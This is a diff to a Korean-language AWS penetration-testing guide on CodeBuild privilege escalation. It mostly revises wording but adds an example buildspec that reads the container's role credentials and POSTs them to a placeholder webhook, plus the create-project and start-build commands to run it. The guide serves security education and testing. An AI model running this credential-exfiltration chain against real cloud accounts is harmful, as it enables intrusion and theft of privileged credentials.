diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 5c29ae5e5..01bac1c06 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -12,7 +12,7 @@ ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -이 권한 중 하나만 있으면 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam 역할의 토큰을 훔치는 데 충분합니다: +이 권한 중 하나만 있으면 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam 역할의 토큰을 훔칠 수 있습니다: {{#tabs }} {{#tab name="StartBuild" }} @@ -58,7 +58,7 @@ aws codebuild start-build-batch --project --buildspec-override fi {{#endtab }} {{#endtabs }} -**참고**: 이 두 명령어의 차이는 다음과 같습니다: +**참고**: 이 두 명령의 차이는 다음과 같습니다: - `StartBuild`는 특정 `buildspec.yml`을 사용하여 단일 빌드 작업을 트리거합니다. - `StartBuildBatch`는 더 복잡한 구성으로 빌드 배치를 시작할 수 있게 해줍니다 (예: 여러 빌드를 병렬로 실행). @@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -**`iam:PassRole`, `codebuild:CreateProject`, 및 `codebuild:StartBuild` 또는 `codebuild:StartBuildBatch`** 권한을 가진 공격자는 **실행 중인 코드빌드 IAM 역할로 권한을 상승시킬 수 있습니다**. +**`iam:PassRole`, `codebuild:CreateProject`, 및 `codebuild:StartBuild` 또는 `codebuild:StartBuildBatch`** 권한을 가진 공격자는 실행 중인 코드를 생성하여 **모든 codebuild IAM 역할로 권한을 상승시킬 수 있습니다**. {{#tabs }} {{#tab name="Example1" }} @@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat # Start a build with the new project aws codebuild start-build --project-name reverse-shell-project +``` +{{#endtab }} + +{{#tab name="Example3" }} +```bash +# Generated by ex16x41, tested +# Create a hook.json file with command to send output from curl credentials URI to your webhook address + +{ +"name": "user-project-1", +"source": { +"type": "NO_SOURCE", +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", +"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0", +"computeType": "BUILD_GENERAL1_SMALL" +}, +"serviceRole": "ARN-OF-TARGET-ROLE" +} + +# Create a new CodeBuild project with the hook.json file +aws codebuild create-project --cli-input-json file:///tmp/hook.json + +# Start a build with the new project +aws codebuild start-build --project-name user-project-1 + +# Get Credentials output to webhook address +Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from + ``` {{#endtab }} {{#endtabs }} @@ -142,7 +176,7 @@ aws codebuild start-build --project-name reverse-shell-project > [!WARNING] > **Codebuild 컨테이너**에서 파일 `/codebuild/output/tmp/env.sh`는 **메타데이터 자격 증명**에 접근하는 데 필요한 모든 환경 변수를 포함하고 있습니다. -> 이 파일에는 **환경 변수 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있으며, 이는 자격 증명에 접근하기 위한 **URL 경로**를 포함하고 있습니다. 이 경로는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다. +> 이 파일에는 **환경 변수 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있으며, 이는 자격 증명에 접근하기 위한 **URL 경로**를 포함하고 있습니다. 이는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다. > 이를 URL **`http://169.254.170.2/`**에 추가하면 역할 자격 증명을 덤프할 수 있습니다. @@ -268,9 +302,9 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -**SSM 세션을 시작할 수 있는 충분한 권한이 있는 경우** 빌드 중인 **Codebuild 프로젝트 내부에 들어갈 수 있습니다.** +**SSM 세션을 시작할 수 있는 충분한 권한이 있는 경우** 빌드 중인 **Codebuild 프로젝트 내부에 접근**할 수 있습니다. -Codebuild 프로젝트는 중단점이 필요합니다: +코드빌드 프로젝트는 중단점이 필요합니다:
phases:
 pre_build:
@@ -285,13 +319,13 @@ commands:
 aws codebuild batch-get-builds --ids  --region  --output json
 aws ssm start-session --target  --region 
 ```
-더 많은 정보는 [**문서를 확인하세요**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+더 많은 정보는 [**문서 확인**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)을 참조하세요.
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 공격자는 공격자가 쓰기 권한이 있는 S3 버킷에 `buildspec.yml` 파일을 저장하고 있는 경우, CodeBuild 프로세스에서 명령 실행을 얻을 수 있습니다.
+특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 공격자는 공격자가 쓰기 권한이 있는 S3 버킷에 `buildspec.yml` 파일을 저장하는 경우, CodeBuild 프로세스에서 명령 실행을 얻을 수 있습니다.
 
-참고: 상승 권한은 CodeBuild 작업자가 공격자의 역할과 다르고, 더 높은 권한이 있기를 바라는 경우에만 관련이 있습니다.
+참고: 상승 권한은 CodeBuild 작업자가 공격자의 역할과 다른 역할, 바람직하게는 더 높은 권한을 가진 경우에만 관련이 있습니다.
 ```bash
 aws s3 cp s3:///buildspec.yml ./